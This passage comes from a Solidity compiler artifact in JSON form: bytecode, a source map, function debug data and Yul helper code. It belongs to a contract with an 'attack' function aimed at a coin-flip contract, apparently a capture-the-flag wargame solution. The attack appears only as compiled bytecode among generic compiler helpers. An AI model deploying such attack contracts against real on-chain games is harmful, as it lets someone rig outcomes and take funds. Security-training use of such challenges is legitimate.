JUMPDEST PUSH1 0x0 PUSH2 0x477 DUP3 PUSH2 0x42C JUMP JUMPDEST PUSH2 0x481 DUP2 DUP6 PUSH2 0x437 JUMP JUMPDEST SWAP4 POP PUSH2 0x491 DUP2 DUP6 PUSH1 0x20 DUP7 ADD PUSH2 0x442 JUMP JUMPDEST DUP1 DUP5 ADD SWAP2 POP POP SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 PUSH2 0x4A9 DUP3 DUP5 PUSH2 0x46C JUMP JUMPDEST SWAP2 POP DUP2 SWAP1 POP SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 DUP3 DUP3 MSTORE PUSH1 0x20 DUP3 ADD SWAP1 POP SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH32 0x43616C6C206661696C6564000000000000000000000000000000000000000000 PUSH1 0x0 DUP3 ADD MSTORE POP JUMP JUMPDEST PUSH1 0x0 PUSH2 0x4FB PUSH1 0xB DUP4 PUSH2 0x4B4 JUMP JUMPDEST SWAP2 POP PUSH2 0x506 DUP3 PUSH2 0x4C5 JUMP JUMPDEST PUSH1 0x20 DUP3 ADD SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH1 0x0 PUSH1 0x20 DUP3 ADD SWAP1 POP DUP2 DUP2 SUB PUSH1 0x0 DUP4 ADD MSTORE PUSH2 0x52A DUP2 PUSH2 0x4EE JUMP JUMPDEST SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH1 0x0 DUP1 REVERT JUMPDEST PUSH2 0x53F DUP2 PUSH2 0x2FF JUMP JUMPDEST DUP2 EQ PUSH2 0x54A JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP JUMP JUMPDEST PUSH1 0x0 DUP2 MLOAD SWAP1 POP PUSH2 0x55C DUP2 PUSH2 0x536 JUMP JUMPDEST SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 PUSH1 0x20 DUP3 DUP5 SUB SLT ISZERO PUSH2 0x578 JUMPI PUSH2 0x577 PUSH2 0x531 JUMP JUMPDEST JUMPDEST PUSH1 0x0 PUSH2 0x586 DUP5 DUP3 DUP6 ADD PUSH2 0x54D JUMP JUMPDEST SWAP2 POP POP SWAP3 SWAP2 POP POP JUMP INVALID LOG2 PUSH5 0x6970667358 0x22 SLT KECCAK256 CALLER EXTCODECOPY EQ BYTE 0x21 0xBA 0x4C RETURNDATACOPY 0xC2 DUP3 DUP4 0xA7 0xE0 SELFDESTRUCT 0xAE 0x1F CALLVALUE ADDMOD 0x4B PUSH1 0xC PUSH22 0x6CA766E357D053D47A1064736F6C6343000812003300 ", "sourceMap": "57:1194:0:-:0;;;200:77;183:94;;284:118;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;350:16;332:15;;:34;;;;;;;;;;;;;;;;;;394:1;376:15;:19;;;;284:118;57:1194;;88:117:1;197:1;194;187:12;334:126;371:7;411:42;404:5;400:54;389:65;;334:126;;;:::o;466:96::-;503:7;532:24;550:5;532:24;:::i;:::-;521:35;;466:96;;;:::o;568:122::-;641:24;659:5;641:24;:::i;:::-;634:5;631:35;621:63;;680:1;677;670:12;621:63;568:122;:::o;696:143::-;753:5;784:6;778:13;769:22;;800:33;827:5;800:33;:::i;:::-;696:143;;;;:::o;845:351::-;915:6;964:2;952:9;943:7;939:23;935:32;932:119;;;970:79;;:::i;:::-;932:119;1090:1;1115:64;1171:7;1162:6;1151:9;1147:22;1115:64;:::i;:::-;1105:74;;1061:128;845:351;;;;:::o;57:1194:0:-;;;;;;;" }, "deployedBytecode": { "functionDebugData": { "@attack_103": { "entryPoint": 196, "id": 103, "parameterSlots": 0, "returnSlots": 1 }, "@coinFlipAddress_3": { "entryPoint": 160, "id": 3, "parameterSlots": 0, "returnSlots": 0 }, "@consecutiveWins_5": { "entryPoint": 669, "id": 5, "parameterSlots": 0, "returnSlots": 0 }, "abi_decode_t_bool_fromMemory": { "entryPoint": 1357, "id": null, "parameterSlots": 2, "returnSlots": 1 }, "abi_decode_tuple_t_bool_fromMemory": { "entryPoint": 1378, "id": null, "parameterSlots": 2, "returnSlots": 1 }, "abi_encode_t_address_to_t_address_fromStack": { "entryPoint": 725, "id": null, "parameterSlots": 2, "returnSlots": 0 }, "abi_encode_t_bool_to_t_bool_fromStack": { "entryPoint": 779, "id": null, "parameterSlots": 2, "returnSlots": 0 }, "abi_encode_t_bytes_memory_ptr_to_t_bytes_memory_ptr_nonPadded_inplace_fromStack": { "entryPoint": 1132, "id": null, "parameterSlots": 2, "returnSlots": 1 }, "abi_encode_t_stringliteral_066ad49a0ed9e5d6a9f3c20fca13a038f0a5d629f0aaf09d634ae2a7c232ac2b_to_t_string_memory_ptr_fromStack": { "entryPoint": 1262, "id": null, "parameterSlots": 1, "returnSlots": 1 }, "abi_encode_t_uint256_to_t_uint256_fromStack": { "entryPoint": 831, "id": null, "parameterSlots": 2, "returnSlots": 0 }, "abi_encode_tuple_packed_t_bytes_memory_ptr__to_t_bytes_memory_ptr__nonPadded_inplace_fromStack_reversed": { "entryPoint": 1181, "id": null, "parameterSlots": 2, "returnSlots": 1 }, "abi_encode_tuple_t_address__to_t_address__fromStack_reversed": { "entryPoint": 740, "id": null, "parameterSlots": 2, "returnSlots": 1 }, "abi_encode_tuple_t_bool__to_t_bool__fromStack_reversed": { "entryPoint": 794, "id": null, "parameterSlots": 2, "returnSlots": 1 }, "abi_encode_tuple_t_stringliteral_066ad49a0ed9e5d6a9f3c20fca13a038f0a5d629f0aaf09d634ae2a7c232ac2b__to_t_string_memory_ptr__fromStack_reversed": { "entryPoint": 1297, "id": null, "parameterSlots": 1, "returnSlots": 1 }, "abi_encode_tuple_t_uint256__to_t_uint256__fromStack_reversed": { "entryPoint": 846, "id": null, "parameterSlots": 2, "returnSlots": 1 }, "allocate_unbounded": { "entryPoint": null, "id": null, "parameterSlots": 0, "returnSlots": 1 }, "array_length_t_bytes_memory_ptr": { "entryPoint": 1068, "id": null, "parameterSlots": 1, "returnSlots": 1 }, "array_storeLengthForEncoding_t_bytes_memory_ptr_nonPadded_inplace_fromStack": { "entryPoint": 1079, "id": null, "parameterSlots": 2, "returnSlots": 1 }, "array_storeLengthForEncoding_t_string_memory_ptr_fromStack": { "entryPoint": 1204, "id": null, "parameterSlots": 2, "returnSlots": 1 }, "checked_div_t_uint256": { "entryPoint": 1019, "id": null, "parameterSlots": 2, "returnSlots": 1 }, "checked_sub_t_uint256": { "entryPoint": 920, "id": null, "parameterSlots": 2, "returnSlots": 1 }, "cleanup_t_address": { "entryPoint": 707, "id": null, "parameterSlots": 1, "returnSlots": 1 }, "cleanup_t_bool": { "entryPoint": 767, "id": null, "parameterSlots": 1, "returnSlots": 1 }, "cleanup_t_uint160": { "entryPoint": 675, "id": null, "parameterSlots": 1, "returnSlots": 1 }, "cleanup_t_uint256": { "entryPoint": 821, "id": null, "parameterSlots": 1, "returnSlots": 1 }, "copy_memory_to_memory_with_cleanup": { "entryPoint": 1090, "id": null, "parameterSlots": 3, "returnSlots": 0 }, "panic_error_0x11": { "entryPoint": 873, "id": null, "parameterSlots": 0, "returnSlots": 0 }, "panic_error_0x12": { "entryPoint": 972, "id": null, "parameterSlots": 0, "returnSlots": 0 }, "revert_error_c1322bf8034eace5e0b5c7295db60986aa89aae5e0ea0873e4689e076861a5db": { "entryPoint": null, "id": null, "parameterSlots": 0, "returnSlots": 0 }, "revert_error_dbdddcbe895c83990c08b3492a0e83918d802a52331272ac6fdb6a7c4aea3b1b": { "entryPoint": 1329, "id": null, "parameterSlots": 0, "returnSlots": 0 }, "store_literal_in_memory_066ad49a0ed9e5d6a9f3c20fca13a038f0a5d629f0aaf09d634ae2a7c232ac2b": { "entryPoint": 1221, "id": null, "parameterSlots": 1, "returnSlots": 0 }, "validator_revert_t_bool": { "entryPoint": 1334, "id": null, "parameterSlots": 1, "returnSlots": 0 } }, "generatedSources": [ { "ast": { "nodeType": "YulBlock", "src": "0:5475:1", "statements": [ { "body": { "nodeType": "YulBlock", "src": "52:81:1", "statements": [ { "nodeType": "YulAssignment", "src": "62:65:1", "value": { "arguments": [ { "name": "value", "nodeType": "YulIdentifier", "src": "77:5:1" }, { "kind": "number", "nodeType": "YulLiteral", "src": "84:42:1", "type": "", "value": "0xffffffffffffffffffffffffffffffffffffffff" } ], "functionName": { "name": "and", "nodeType": "YulIdentifier", "src": "73:3:1" }, "nodeType": "YulFunctionCall", "src": "73:54:1" }, "variableNames": [ { "name": "cleaned", "nodeType": "YulIdentifier", "src": "62:7:1" } ] } ] }, "name": "cleanup_t_uint160", "nodeType": "YulFunctionDefinition", "parameters": [ { "name": "value", "nodeType": "YulTypedName", "src": "34:5:1", "type": "" } ], "returnVariables": [ { "name": "cleaned", "nodeType": "YulTypedName", "src": "44:7:1", "type": "" } ], "src": "7:126:1" }, { "body": { "nodeType": "YulBlock", "src": "184:51:1", "statements": [ { "nodeType": "YulAssignment", "src": "194:35:1", "value": { "arguments": [ { "name": "value", "nodeType": "YulIdentifier", "src": "223:5:1" } ], "functionName": { "name": "cleanup_t_uint160", "nodeType": "YulIdentifier", "src": "205:17:1" }, "nodeType": "YulFunctionCall", "src": "205:24:1" }, "variableNames": [ { "name": "cleaned", "nodeType": "YulIdentifier", "src": "194:7:1" } ] } ] }, "name": "cleanup_t_address", "nodeType": "YulFunctionDefinition", "parameters": [ { "name": "value", "nodeType": "YulTypedName", "src": "166:5:1", "type": "" } ], "returnVariables": [ { "name": "cleaned", "nodeType": "YulTypedName", "src": "176:7:1", "type": "" } ], "src": "139:96:1" }, { "body": { "nodeType": "YulBlock", "src": "306:53:1", "statements": [ { "expression": { "arguments": [ { "name": "pos", "nodeType": "YulIdentifier", "src": "323:3:1" }, { "arguments": [ { "name": "value", "nodeType": "YulIdentifier", "src": "346:5:1" } ], "functionName": { "name": "cleanup_t_address", "nodeType": "YulIdentifier", "src": "328:17:1" }, "nodeType": "YulFunctionCall", "src": "328:24:1" } ], "functionName": { "name": "mstore", "nodeType": "YulIdentifier", "src": "316:6:1" }, "nodeType": "YulFunctionCall", "src": "316:37:1" }, "nodeType": "YulExpressionStatement", "src": "316:37:1" } ] }, "name": "abi_encode_t_address_to_t_address_fromStack", "nodeType": "YulFunctionDefinition", "parameters": [ { "name": "value", "nodeType": "YulTypedName", "src": "294:5:1", "type": "" }, { "name": "pos", "nodeType": "YulTypedName", "src": "301:3:1", "type": "" } ], "src": "241:118:1" }, { "body": { "nodeType": "YulBlock", "src": "463:124:1", "statements": [ { "nodeType": "YulAssignment", "src": "473:26:1", "value": { "arguments": [ { "name": "headStart", "nodeType": "YulIdentifier", "src": "485:9:1" }, { "kind": "number", "nodeType": "YulLiteral", "src": "496:2:1", "type": "", "value": "32" } ], "functionName": { "name": "add", "nodeType": "YulIdentifier", "src": "481:3:1" }, "nodeType": "YulFunctionCall", "src": "481:18:1" }, "variableNames": [ { "name": "tail", "nodeType": "YulIdentifier", "src": "473:4:1" } ] }, { "expression": { "arguments": [ { "name": "value0", "nodeType": "YulIdentifier", "src": "553:6:1" }, { "arguments": [ { "name": "headStart", "nodeType": "YulIdentifier", "src": "566:9:1" }, { "kind": "number", "nodeType": "YulLiteral", "src": "577:1:1", "type": "", "value": "0" } ], "functionName": { "name": "add", "nodeType": "YulIdentifier", "src": "562:3:1" }, "nodeType": "YulFunctionCall", "src": "562:17:1" } ], "functionName": { "name": "abi_encode_t_address_to_t_address_fromStack", "nodeType": "YulIdentifier", "src": "509:43:1" }, "nodeType": "YulFunctionCall", "src": "509:71:1" }, "nodeType": "YulExpressionStatement", "src": "509:71:1" } ] }, "name": "abi_encode_tuple_t_address__to_t_address__fromStack_reversed", "nodeType": "YulFunctionDefinition", "parameters": [ { "name": "headStart", "nodeType": "YulTypedName", "src": "435:9:1", "type": "" }, { "name": "value0", "nodeType": "YulTypedName", "src": "447:6:1", "type": "" } ], "returnVariables": [ { "name": "tail", "nodeType": "YulTypedName", "src": "458:4:1", "type": "" } ], "src": "365:222:1" }, { "body": { "nodeType": "YulBlock", "src": "635:48:1", "statements": [ { "nodeType": "YulAssignment", "src": "645:32:1", "value": { "arguments": [ { "arguments": [ { "name": "value", "nodeType": "YulIdentifier", "src": "670:5:1" } ], "functionName": { "name": "iszero", "nodeType": "YulIdentifier", "src": "663:6:1" }, "nodeType": "YulFunctionCall", "src": "663:13:1" } ], "functionName": { "name": "iszero", "nodeType": "YulIdentifier", "src": "656:6:1" }, "nodeType": "YulFunctionCall", "src": "656:21:1" }, "variableNames": [ { "name": "cleaned", "nodeType": "YulIdentifier", "src": "645:7:1" } ] } ] }, "name": "cleanup_t_bool", "nodeType": "YulFunctionDefinition", "parameters": [ { "name": "value", "nodeType": "YulTypedName", "src": "617:5:1", "type": "" } ], "returnVariables": [ { "name": "cleaned", "nodeType": "YulTypedName", "src": "627:7:1", "type": "" } ], "src": "593:90:1" }, { "body": { "nodeType": "YulBlock", "src": "748:50:1", "statements": [ { "expression": { "arguments": [ { "name": "pos", "nodeType": "YulIdentifier", "src": "765:3:1" }, { "arguments": [ { "name": "value", "nodeType": "YulIdentifier", "src": "785:5:1" } ], "functionName": { "name": "cleanup_t_bool", "nodeType": "YulIdentifier", "src": "770:14:1" }, "nodeType": "YulFunctionCall", "src": "770:21:1" } ], "functionName": { "name": "mstore", "nodeType": "YulIdentifier", "src": "758:6:1" }, "nodeType": "YulFunctionCall", "src": "758:34:1" }, "nodeType": "YulExpressionStatement", "src": "758:34:1" } ] }, "name": "abi_encode_t_bool_to_t_bool_fromStack", "nodeType": "YulFunctionDefinition", "parameters": [ { "name": "value", "nodeType": "YulTypedName", "src": "736:5:1", "type": "" }, { "name": "pos", "nodeType": "YulTypedName", "src": "743:3:1", "type": "" } ], "src": "689:109:1" }, { "body": { "nodeType": "YulBlock", "src": "896:118:1", "statements": [ { "nodeType": "YulAssignment", "src": "906:26:1", "value": { "arguments": [ { "name": "headStart", "nodeType": "YulIdentifier", "src": "918:9:1" }, { "kind": "number", "nodeType": "YulLiteral", "src": "929:2:1", "type": "", "value": "32" } ], "functionName": { "name": "add", "nodeType": "YulIdentifier", "src": "914:3:1" }, "nodeType": "YulFunctionCall", "src": "914:18:1" }, "variableNames": [ { "name": "tail", "nodeType": "YulIdentifier", "src": "906:4:1" } ] }, { "expression": { "arguments": [ { "name": "value0", "nodeType": "YulIdentifier", "src": "980:6:1" }, { "arguments": [ { "name": "headStart", "nodeType": "YulIdentifier", "src": "993:9:1" }, { "kind": "number", "nodeType": "YulLiteral", "src": "1004:1:1", "type": "", "value": "0" } ], "functionName": { "name": "add", "nodeType": "YulIdentifier", "src": "989:3:1" }, "nodeType": "YulFunctionCall", "src": "989:17:1" } ], "functionName": { "name": "abi_encode_t_bool_to_t_bool_fromStack", "nodeType": "YulIdentifier", "src": "942:37:1" }, "nodeType": "YulFunctionCall", "src": "942:65:1" }, "nodeType": "YulExpressionStatement", "src": "942:65:1" } ] }, "name": "abi_encode_tuple_t_bool__to_t_bool__fromStack_reversed", "nodeType": "YulFunctionDefinition", "parameters": [ { "name": "headStart", "nodeType": "YulTypedName", "src": "868:9:1", "type": "" }, { "name": "value0", "nodeType": "YulTypedName", "src": "880:6:1", "type": "" } ], "returnVariables": [ { "name": "tail", "nodeType": "YulTypedName", "src": "891:4:1", "type": "" } ], "src": "804:210:1" }, { "body": { "nodeType": "YulBlock", "src": "1065:32:1", "statements": [ { "nodeType": "YulAssignment", "src": "1075:16:1", "value": { "name": "value", "nodeType": "YulIdentifier", "src": "1086:5:1" }, "variableNames": [ { "name": "cleaned", "nodeType": "YulIdentifier", "src": "1075:7:1" } ] } ] }, "name": "cleanup_t_uint256", "nodeType": "YulFunctionDefinition", "parameters": [ { "name": "value", "nodeType": "YulTypedName", "src": "1047:5:1", "type": "" } ], "returnVariables": [ { "name": "cleaned", "nodeType": "YulTypedName", "src": "1057:7:1", "type": "" } ], "src": "1020:77:1" }, { "body": { "nodeType": "YulBlock", "src": "1168:53:1", "statements": [ { "expression": { "arguments": [ { "name": "pos", "nodeType": "YulIdentifier", "src": "1185:3:1" }, { "arguments": [ { "name": "value", "nodeType": "YulIdentifier", "src": "1208:5:1" } ], "functionName": { "name": "cleanup_t_uint256", "nodeType": "YulIdentifier", "src": "1190:17:1" }, "nodeType": "YulFunctionCall", "src": "1190:24:1" } ], "functionName": { "name": "mstore", "nodeType": "YulIdentifier", "src": "1178:6:1" }, "nodeType": "YulFunctionCall", "src": "1178:37:1" }, "nodeType": "YulExpressionStatement", "src": "1178:37:1" } ] }, "name": "abi_encode_t_uint256_to_t_uint256_fromStack", "nodeType": "YulFunctionDefinition", "parameters": [ { "name": "value", "nodeType": "YulTypedName", "src": "1156:5:1", "type": "" }, { "name": "pos", "nodeType": "YulTypedName", "src": "1163:3:1", "type": "" } ], "src": "1103:118:1" }, { "body": { "nodeType": "YulBlock", "src": "1325:124:1", "statements": [ { "nodeType": "YulAssignment", "src": "1335:26:1", "value": { "arguments": [ { "name": "headStart", "nodeType": "YulIdentifier", "src": "1347:9:1" }, { "kind": "number", "nodeType": "YulLiteral", "src": "1358:2:1", "type": "", "value": "32" } ], "functionName": { "name": "add", "nodeType": "YulIdentifier", "src": "1343:3:1" }, "nodeType": "YulFunctionCall", "src": "1343:18:1" }, "variableNames": [ { "name": "tail", "nodeType": "YulIdentifier", "src": "1335:4:1" } ] }, { "expression": { "arguments": [ { "name": "value0", "nodeType": "YulIdentifier", "src": "1415:6:1" }, { "arguments": [ { "name": "headStart", "nodeType": "YulIdentifier", "src": "1428:9:1" }, { "kind": "number", "nodeType": "YulLiteral", "src": "1439:1:1", "type": "", "value": "0" } ], "functionName": { "name": "add", "nodeType": "YulIdentifier", "src": "1424:3:1" }, "nodeType": "YulFunctionCall", "src": "1424:17:1" } ], "functionName": { "name": "abi_encode_t_uint256_to_t_uint256_fromStack", "nodeType": "YulIdentifier", "src": "1371:43:1" }, "nodeType": "YulFunctionCall", "src": "1371:71:1" }, "nodeType": "YulExpressionStatement", "src": "1371:71:1" } ] }, "name": "abi_encode_tuple_t_uint256__to_t_uint256__fromStack_reversed", "nodeType": "YulFunctionDefinition", "parameters": [ { "name": "headStart", "nodeType": "YulTypedName", "src": "1297:9:1", "type": "" }, { "name": "value0", "nodeType": "YulTypedName", "src": "1309:6:1", "type": "" } ], "returnVariables": [ { "name": "tail", "nodeType": "YulTypedName", "src": "1320:4:1", "type": "" } ], "src": "1227:222:1" }, { "body": { "nodeType": "YulBlock", "src": "1483:152:1", "statements": [ { "expression": { "arguments": [ { "kind": "number", "nodeType": "YulLiteral", "src": "1500:1:1", "type": "", "value": "0" }, { "kind": "number", "nodeType": "YulLiteral", "src": "1503:77:1", "type": "", "value": "35408467139433450592217433187231851964531694900788300625387963629091585785856" } ], "functionName": { "name": "mstore", "nodeType": "YulIdentifier", "src": "1493:6:1" }, "nodeType": "YulFunctionCall", "src": "1493:88:1" }, "nodeType": "YulExpressionStatement", "src": "1493:88:1" }, { "expression": { "arguments": [ { "kind": "number", "nodeType": "YulLiteral", "src": "1597:1:1", "type": "", "value": "4" }, { "kind": "number", "nodeType": "YulLiteral", "src": "1600:4:1", "type": "", "value": "0x11" } ], "functionName": { "name": "mstore", "nodeType": "YulIdentifier", "src": "1590:6:1" }, "nodeType": "YulFunctionCall", "src": "1590:15:1" }, "nodeType": "YulExpressionStatement", "src": "1590:15:1" }, { "expression": { "arguments": [ { "kind": "number", "nodeType": "YulLiteral", "src": "1621:1:1", "type": "", "value": "0" }, { "kind": "number", "nodeType": "YulLiteral", "src": "1624:4:1", "type": "", "value": "0x24" } ], "functionName": { "name": "revert", "nodeType": "YulIdentifier", "src": "1614:6:1" }, "nodeType": "YulFunctionCall", "src": "1614:15:1" }, "nodeType": "YulExpressionStatement", "src": "1614:15:1" } ] }, "name": "panic_error_0x11", "nodeType": "YulFunctionDefinition", "src": "1455:180:1" }, { "body": { "nodeType": "YulBlock", "src": "1686:149:1", "statements": [ { "nodeType": "YulAssignment", "src": "1696:25:1", "value": { "arguments": [ { "name": "x", "nodeType": "YulIdentifier", "src": "1719:1:1" } ], "functionName": { "name": "cleanup_t_uint256", "nodeType": "YulIdentifier", "src": "1701:17:1" }, "nodeType": "YulFunctionCall", "src": "1701:20:1" }, "variableNames": [ { "name": "x", "nodeType": "YulIdentifier", "src": "1696:1:1" } ] }, { "nodeType": "YulAssignment", "src": "1730:25:1", "value": { "arguments": [ { "name": "y", "nodeType": "YulIdentifier", "src": "1753:1:1" } ], "functionName": { "name": "cleanup_t_uint256", "nodeType": "YulIdentifier", "src": "1735:17:1" }, "nodeType": "YulFunctionCall", "src": "1735:20:1" }, "variableNames": [ { "name": "y", "nodeType": "YulIdentifier", "src": "1730:1:1" } ] }, { "nodeType": "YulAssignment", "src": "1764:17:1", "value": { "arguments": [ { "name": "x", "nodeType": "YulIdentifier", "src": "1776:1:1" }, { "name": "y", "nodeType": "YulIdentifier", "src": "1779:1:1" } ], "functionName": { "name": "sub", "nodeType": "YulIdentifier", "src": "1772:3:1" }, "nodeType": "YulFunctionCall", "src": "1772:9:1" }, "variableNames": [ { "name": "diff", "nodeType": "YulIdentifier", "src": "1764:4:1" } ] }, { "body": { "nodeType": "YulBlock", "src": "1806:22:1", "statements": [ { "expression": { "arguments": [], "functionName": { "name": "panic_error_0x11", "nodeType": "YulIdentifier", "src": "1808:16:1" }, "nodeType": "YulFunctionCall", "src": "1808:18:1" }, "nodeType": "YulExpressionStatement", "src": "1808:18:1" } ] }, "condition": { "arguments": [ { "name": "diff", "nodeType": "YulIdentifier", "src": "1797:4:1" }, { "name": "x", "nodeType": "YulIdentifier", "src": "1803:1:1" } ], "functionName": { "name": "gt", "nodeType": "YulIdentifier", "src": "1794:2:1" }, "nodeType": "YulFunctionCall", "src": "1794:11:1" }, "nodeType": "YulIf", "src": "1791:37:1" } ] }, "name": "checked_sub_t_uint256", "nodeType": "YulFunctionDefinition", "parameters": [ { "name": "x", "nodeType": "YulTypedName", "src": "1672:1:1", "type": "" }, { "name": "y", "nodeType": "YulTypedName", "src": "1675:1:1", "type": "" } ], "returnVariables": [ { "name": "diff", "nodeType": "YulTypedName", "src": "1681:4:1", "type": "" } ], "src": "1641:194:1" }, { "body": { "nodeType": "YulBlock", "src": "1869:152:1", "statements": [ { "expression": { "arguments": [ { "kind": "number", "nodeType": "YulLiteral", "src": "1886:1:1", "type": "", "value": "0" }, { "kind": "number", "nodeType": "YulLiteral", "src": "1889:77:1", "type": "", "value": "35408467139433450592217433187231851964531694900788300625387963629091585785856" } ], "functionName": { "name": "mstore", "nodeType": "YulIdentifier", "src": "1879:6:1" }, "nodeType": "YulFunctionCall", "src": "1879:88:1" }, "nodeType": "YulExpressionStatement", "src": "1879:88:1" }, { "expression": { "arguments": [ { "kind": "number", "nodeType": "YulLiteral", "src": "1983:1:1", "type": "", "value": "4" }, { "kind": "number", "nodeType": "YulLiteral", "src": "1986:4:1", "type": "", "value": "0x12" } ], "functionName": { "name": "mstore", "nodeType": "YulIdentifier", "src": "1976:6:1" }, "nodeType": "YulFunctionCall", "src": "1976:15:1" }, "nodeType": "YulExpressionStatement", "src": "1976:15:1" }, { "expression": { "arguments": [ { "kind": "number", "nodeType": "YulLiteral", "src": "2007:1:1", "type": "", "value": "0" }, { "kind": "number", "nodeType": "YulLiteral", "src": "2010:4:1", "type": "", "value": "0x24" } ], "functionName": { "name": "revert", "nodeType": "YulIdentifier", "src": "2000:6:1" }, "nodeType": "YulFunctionCall", "src": "2000:15:1" }, "nodeType": "YulExpressionStatement", "src": "2000:15:1" } ] }, "name": "panic_error_0x12", "nodeType": "YulFunctionDefinition", "src": "1841:180:1" }, { "body": { "nodeType": "YulBlock", "src": "2069:143:1", "statements": [ { "nodeType": "YulAssignment", "src": "2079:25:1", "value": { "arguments": [ { "name": "x", "nodeType": "YulIdentifier", "src": "2102:1:1" } ], "functionName": { "name": "cleanup_t_uint256", "nodeType": "YulIdentifier", "src": "2084:17:1" }, "nodeType": "YulFunctionCall", "src": "2084:20:1" }, "variableNames": [ { "name": "x", "nodeType": "YulIdentifier", "src": "2079:1:1" } ] }, { "nodeType": "YulAssignment", "src": "2113:25:1", "value": { "arguments": [ { "name": "y", "nodeType": "YulIdentifier", "src": "2136:1:1" } ], "functionName": { "name": "cleanup_t_uint256", "nodeType": "YulIdentifier", "src": "2118:17:1" }, "nodeType": "YulFunctionCall", "src": "2118:20:1" }, "variableNames": [ { "name": "y", "nodeType": "YulIdentifier", "src": "2113:1:1" } ] }, { "body": { "nodeType": "YulBlock", "src": "2160:22:1", "statements": [ { "expression": { "arguments": [], "functionName": { "name": "panic_error_0x12", "nodeType": "YulIdentifier", "src": "2162:16:1" }, "nodeType": "YulFunctionCall", "src": "2162:18:1" }, "nodeType": "YulExpressionStatement", "src": "2162:18:1" } ] }, "condition": { "arguments": [ { "name": "y", "nodeType": "YulIdentifier", "src": "2157:1:1" } ], "functionName": { "name": "iszero", "nodeType": "YulIdentifier", "src": "2150:6:1" }, "nodeType": "YulFunctionCall", "src": "2150:9:1" }, "nodeType": "YulIf", "src": "2147:35:1" }, { "nodeType": "YulAssignment", "src": "2192:14:1", "value": { "arguments": [ { "name": "x", "nodeType": "YulIdentifier", "src": "2201:1:1" }, { "name": "y", "nodeType": "YulIdentifier", "src": "2204:1:1" } ], "functionName": { "name": "div", "nodeType": "YulIdentifier", "src": "2197:3:1" }, "nodeType": "YulFunctionCall", "src": "2197:9:1" }, "variableNames": [ { "name": "r", "nodeType": "YulIdentifier", "src": "2192:1:1" } ] } ] }, "name": "checked_div_t_uint256", "nodeType": "YulFunctionDefinition", "parameters": [ { "name": "x", "nodeType": "YulTypedName", "src": "2058:1:1", "type": "" }, { "name": "y", "nodeType": "YulTypedName", "src": "2061:1:1", "type": "" } ], "returnVariables": [ { "name": "r", "nodeType": "YulTypedName", "src": "2067:1:1", "type": "" } ], "src": "2027:185:1" }, { "body": { "nodeType": "YulBlock", "src": "2276:40:1", "statements": [ { "nodeType": "YulAssignment", "src": "2287:22:1", "value": { "arguments": [ { "name": "value", "nodeType": "YulIdentifier", "src": "2303:5:1" } ], "functionName": { "name": "mload", "nodeType": "YulIdentifier", "src": "2297:5:1" }, "nodeType": "YulFunctionCall", "src": "2297:12:1" }, "variableNames": [ { "name": "length", "nodeType": "YulIdentifier", "src": "2287:6:1" } ] } ] }, "name": "array_length_t_bytes_memory_ptr", "nodeType": "YulFunctionDefinition", "parameters": [ { "name": "value", "nodeType": "YulTypedName", "src": "2259:5:1", "type": "" } ], "returnVariables": [ { "name": "length", "nodeType": "YulTypedName", "src": "2269:6:1", "type": "" } ], "src": "2218:98:1" }, { "body": { "nodeType": "YulBlock", "src": "2435:34:1", "statements": [ { "nodeType": "YulAssignment", "src": "2445:18:1", "value": { "name": "pos", "nodeType": "YulIdentifier", "src": "2460:3:1" }, "variableNames": [ { "name": "updated_pos", "nodeType": "YulIdentifier", "src": "2445:11:1" } ] } ] }, "name": "array_storeLengthForEncoding_t_bytes_memory_ptr_nonPadded_inplace_fromStack", "nodeType": "YulFunctionDefinition", "parameters": [ { "name": "pos", "nodeType": "YulTypedName", "src": "2407:3:1", "type": "" }, { "name": "length", "nodeType": "YulTypedName", "src": "2412:6:1", "type": "" } ], "returnVariables": [ { "name": "updated_pos", "nodeType": "YulTypedName", "src": "2423:11:1", "type": "" } ], "src": "2322:147:1" }, { "body": { "nodeType": "YulBlock", "src": "2537:184:1", "statements": [ { "nodeType": "YulVariableDeclaration", "src": "2547:10:1", "value": { "kind": "number", "nodeType": "YulLiteral", "src": "2556:1:1", "type": "", "value": "0" }, "variables": [ { "name": "i", "nodeType": "YulTypedName", "src": "2551:1:1", "type": "" } ] }, { "body": { "nodeType": "YulBlock", "src": "2616:63:1", "statements": [ { "expression": { "arguments": [ { "arguments": [ { "name": "dst", "nodeType": "YulIdentifier", "src": "2641:3:1" }, { "name": "i", "nodeType": "YulIdentifier", "src": "2646:1:1" } ], "functionName": { "name": "add", "nodeType": "YulIdentifier", "src": "2637:3:1" }, "nodeType": "YulFunctionCall", "src": "2637:11:1" }, { "arguments": [ { "arguments": [ { "name": "src", "nodeType": "YulIdentifier", "src": "2660:3:1" }, { "name": "i", "nodeType": "YulIdentifier", "src": "2665:1:1" } ], "functionName": { "name": "add", "nodeType": "YulIdentifier", "src": "2656:3:1" }, "nodeType": "YulFunctionCall", "src": "2656:11:1" } ], "functionName": { "name": "mload", "nodeType": "YulIdentifier", "src": "2650:5:1" }, "nodeType": "YulFunctionCall", "src": "2650:18:1" } ], "functionName": { "name": "mstore", "nodeType": "YulIdentifier", "src": "2630:6:1" }, "nodeType": "YulFunctionCall", "src": "2630:39:1" }, "nodeType": "YulExpressionStatement", "src": "2630:39:1" } ] }, "condition": { "arguments": [ { "name": "i", "nodeType": "YulIdentifier", "src": "2577:1:1" }, { "name": "length", "nodeType": "YulIdentifier", "src": "2580:6:1" } ], "functionName": { "name": "lt", "nodeType": "YulIdentifier", "src": "2574:2:1" }, "nodeType": "YulFunctionCall", "src": "2574:13:1" }, "nodeType": "YulForLoop", "post": { "nodeType": "YulBlock", "src": "2588:19:1", "statements": [ { "nodeType": "YulAssignment", "src": "2590:15:1", "value": { "arguments": [ { "name": "i", "nodeType": "YulIdentifier", "src": "2599:1:1" }, { "kind": "number", "nodeType": "YulLiteral", "src": "2602:2:1", "type": "", "value": "32" } ], "functionName": { "name": "add", "nodeType": "YulIdentifier", "src": "2595:3:1" }, "nodeType": "YulFunctionCall", "src": "2595:10:1" }, "variableNames": [ { "name": "i", "nodeType": "YulIdentifier", "src": "2590:1:1" } ] } ] }, "pre": { "nodeType": "YulBlock", 